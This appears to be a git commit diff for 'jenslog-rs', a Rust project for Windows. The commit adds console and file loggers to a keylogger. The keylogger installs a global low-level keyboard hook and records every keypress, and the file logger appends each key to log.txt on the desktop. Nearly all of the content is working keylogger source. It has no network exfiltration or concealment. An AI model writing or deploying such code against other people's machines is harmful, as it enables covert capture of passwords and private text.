add logger system and file logger
This commit is contained in:
parent
c0e452f420
commit
e2eee30b3e
138
Cargo.lock
generated
138
Cargo.lock
generated
|
@ -1,13 +1,151 @@
|
|||
# This file is automatically @generated by Cargo.
|
||||
# It is not intended for manual editing.
|
||||
[[package]]
|
||||
name = "arrayref"
|
||||
version = "0.3.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "a4c527152e37cf757a3f78aae5a06fbeefdb07ccc535c980a3208ee3060dd544"
|
||||
|
||||
[[package]]
|
||||
name = "arrayvec"
|
||||
version = "0.5.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "cff77d8686867eceff3105329d4698d96c2391c176d5d03adc90c7389162b5b8"
|
||||
|
||||
[[package]]
|
||||
name = "autocfg"
|
||||
version = "1.0.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "cdb031dd78e28731d87d56cc8ffef4a8f36ca26c38fe2de700543e627f8a464a"
|
||||
|
||||
[[package]]
|
||||
name = "base64"
|
||||
version = "0.11.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b41b7ea54a0c9d92199de89e20e58d49f02f8e699814ef3fdf266f6f748d15c7"
|
||||
|
||||
[[package]]
|
||||
name = "blake2b_simd"
|
||||
version = "0.5.10"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d8fb2d74254a3a0b5cac33ac9f8ed0e44aa50378d9dbb2e5d83bd21ed1dc2c8a"
|
||||
dependencies = [
|
||||
"arrayref",
|
||||
"arrayvec",
|
||||
"constant_time_eq",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cfg-if"
|
||||
version = "0.1.10"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4785bdd1c96b2a846b2bd7cc02e86b6b3dbf14e7e53446c4f54c92a361040822"
|
||||
|
||||
[[package]]
|
||||
name = "constant_time_eq"
|
||||
version = "0.1.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "245097e9a4535ee1e3e3931fcfcd55a796a44c643e8596ff6566d68f09b87bbc"
|
||||
|
||||
[[package]]
|
||||
name = "crossbeam-utils"
|
||||
version = "0.7.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "c3c7c73a2d1e9fc0886a08b93e98eb643461230d5f1925e4036204d5f2e261a8"
|
||||
dependencies = [
|
||||
"autocfg",
|
||||
"cfg-if",
|
||||
"lazy_static",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dirs"
|
||||
version = "3.0.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "142995ed02755914747cc6ca76fc7e4583cd18578746716d0508ea6ed558b9ff"
|
||||
dependencies = [
|
||||
"dirs-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dirs-sys"
|
||||
version = "0.3.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8e93d7f5705de3e49895a2b5e0b8855a1c27f080192ae9c32a6432d50741a57a"
|
||||
dependencies = [
|
||||
"libc",
|
||||
"redox_users",
|
||||
"winapi",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "getrandom"
|
||||
version = "0.1.14"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7abc8dd8451921606d809ba32e95b6111925cd2906060d2dcc29c070220503eb"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"libc",
|
||||
"wasi",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "jenslog-rs"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"dirs",
|
||||
"lazy_static",
|
||||
"winapi",
|
||||
"wio",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "lazy_static"
|
||||
version = "1.4.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"
|
||||
|
||||
[[package]]
|
||||
name = "libc"
|
||||
version = "0.2.76"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "755456fae044e6fa1ebbbd1b3e902ae19e73097ed4ed87bb79934a867c007bc3"
|
||||
|
||||
[[package]]
|
||||
name = "redox_syscall"
|
||||
version = "0.1.57"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "41cc0f7e4d5d4544e8861606a285bb08d3e70712ccc7d2b84d7c0ccfaf4b05ce"
|
||||
|
||||
[[package]]
|
||||
name = "redox_users"
|
||||
version = "0.3.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "09b23093265f8d200fa7b4c2c76297f47e681c655f6f1285a8780d6a022f7431"
|
||||
dependencies = [
|
||||
"getrandom",
|
||||
"redox_syscall",
|
||||
"rust-argon2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rust-argon2"
|
||||
version = "0.7.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2bc8af4bda8e1ff4932523b94d3dd20ee30a87232323eda55903ffd71d2fb017"
|
||||
dependencies = [
|
||||
"base64",
|
||||
"blake2b_simd",
|
||||
"constant_time_eq",
|
||||
"crossbeam-utils",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "wasi"
|
||||
version = "0.9.0+wasi-snapshot-preview1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519"
|
||||
|
||||
[[package]]
|
||||
name = "winapi"
|
||||
version = "0.3.9"
|
||||
|
|
|
@ -9,3 +9,5 @@ edition = "2018"
|
|||
[dependencies]
|
||||
winapi = { version = "0.3.9", features = ["winuser"] }
|
||||
wio = "0.2.2"
|
||||
dirs = "3.0"
|
||||
lazy_static = "1.4.0"
|
||||
|
|
13
src/lib.rs
Normal file
13
src/lib.rs
Normal file
|
@ -0,0 +1,13 @@
|
|||
use winapi::um::winuser::GetKeyNameTextW;
|
||||
use std::ffi::OsString;
|
||||
use wio::wide::FromWide;
|
||||
|
||||
pub mod logger;
|
||||
|
||||
pub fn scan_code_to_key_name(scan_code: u32) -> String {
|
||||
unsafe {
|
||||
let mut out = [0u16; 128];
|
||||
GetKeyNameTextW((scan_code << 16) as i32, (&mut out).as_mut_ptr(), 1024);
|
||||
OsString::from_wide(&out).to_str().unwrap().replace('\0', "")
|
||||
}
|
||||
}
|
13
src/logger/logger.rs
Normal file
13
src/logger/logger.rs
Normal file
|
@ -0,0 +1,13 @@
|
|||
use winapi::um::winuser::KBDLLHOOKSTRUCT;
|
||||
use crate::logger::loggers::{ConsoleLogger, FileLogger};
|
||||
|
||||
pub trait Logger: Sync {
|
||||
fn log(&self, key: &KBDLLHOOKSTRUCT);
|
||||
}
|
||||
|
||||
pub fn get_logger(name: &str) -> Box<dyn Logger> {
|
||||
match name {
|
||||
"file" => Box::new(FileLogger::new_default()),
|
||||
_ => Box::new(ConsoleLogger),
|
||||
}
|
||||
}
|
36
src/logger/loggers.rs
Normal file
36
src/logger/loggers.rs
Normal file
|
@ -0,0 +1,36 @@
|
|||
use crate::logger::logger::Logger;
|
||||
use winapi::um::winuser::KBDLLHOOKSTRUCT;
|
||||
use crate::scan_code_to_key_name;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::Write;
|
||||
use std::path::Path;
|
||||
use std::sync::Mutex;
|
||||
|
||||
pub struct ConsoleLogger;
|
||||
impl Logger for ConsoleLogger {
|
||||
fn log(&self, key: &KBDLLHOOKSTRUCT) {
|
||||
println!("{} >> {}", key.vkCode, scan_code_to_key_name(key.scanCode));
|
||||
}
|
||||
}
|
||||
|
||||
pub struct FileLogger {
|
||||
file: Mutex<File>,
|
||||
}
|
||||
|
||||
impl FileLogger {
|
||||
pub fn new(filename: &Path) -> Self {
|
||||
FileLogger { file: Mutex::from(OpenOptions::new().create(true).write(true).append(true).open(&filename).unwrap()) }
|
||||
}
|
||||
|
||||
pub fn new_default() -> Self {
|
||||
let mut path = dirs::desktop_dir().unwrap();
|
||||
path.push("log.txt");
|
||||
Self::new(&path)
|
||||
}
|
||||
}
|
||||
|
||||
impl Logger for FileLogger {
|
||||
fn log(&self, key: &KBDLLHOOKSTRUCT) {
|
||||
self.file.lock().unwrap().write_all(format!("{} >> {}\n", key.vkCode, scan_code_to_key_name(key.scanCode)).as_ref()).unwrap();
|
||||
}
|
||||
}
|
2
src/logger/mod.rs
Normal file
2
src/logger/mod.rs
Normal file
|
@ -0,0 +1,2 @@
|
|||
mod loggers;
|
||||
pub mod logger;
|
27
src/main.rs
27
src/main.rs
|
@ -1,13 +1,21 @@
|
|||
#[macro_use]
|
||||
extern crate lazy_static;
|
||||
|
||||
use std::env::args;
|
||||
use std::ptr::null_mut;
|
||||
|
||||
use winapi::um::winuser::{GetMessageW, PKBDLLHOOKSTRUCT, SetWindowsHookExA, GetKeyNameTextW};
|
||||
use std::ffi::OsString;
|
||||
use wio::wide::FromWide;
|
||||
use winapi::um::winuser::{GetMessageW, PKBDLLHOOKSTRUCT, SetWindowsHookExA};
|
||||
|
||||
use jenslog_rs::logger::logger::{get_logger, Logger};
|
||||
|
||||
lazy_static! {
|
||||
pub static ref LOGGER: Box<dyn Logger> = get_logger(&args().nth(1).unwrap_or_default());
|
||||
}
|
||||
//static mut LOGGER: Box<dyn Logger> = get_logger(args().nth(0).map(|k| k.as_str()));
|
||||
|
||||
fn main() {
|
||||
unsafe {
|
||||
SetWindowsHookExA(13, Some(hook_callback), null_mut(), 0);
|
||||
|
||||
GetMessageW(null_mut(), null_mut(), 0, 0);
|
||||
}
|
||||
}
|
||||
|
@ -16,15 +24,6 @@ unsafe extern "system" fn hook_callback(_code: i32, w_param: usize, l_param: isi
|
|||
//Check if keydown
|
||||
if w_param != 256 { return 0; }
|
||||
let key = *(l_param as PKBDLLHOOKSTRUCT);
|
||||
|
||||
println!("{} >> {}", key.vkCode, scan_code_to_key_name(key.scanCode));
|
||||
LOGGER.log(&key);
|
||||
0
|
||||
}
|
||||
|
||||
fn scan_code_to_key_name(scan_code: u32) -> String {
|
||||
unsafe {
|
||||
let mut out = [0u16; 128];
|
||||
GetKeyNameTextW((scan_code << 16) as i32, (&mut out).as_mut_ptr(), 1024);
|
||||
OsString::from_wide(&out).to_str().unwrap().replace('\0', "")
|
||||
}
|
||||
}
|
Loading…
Reference in a new issue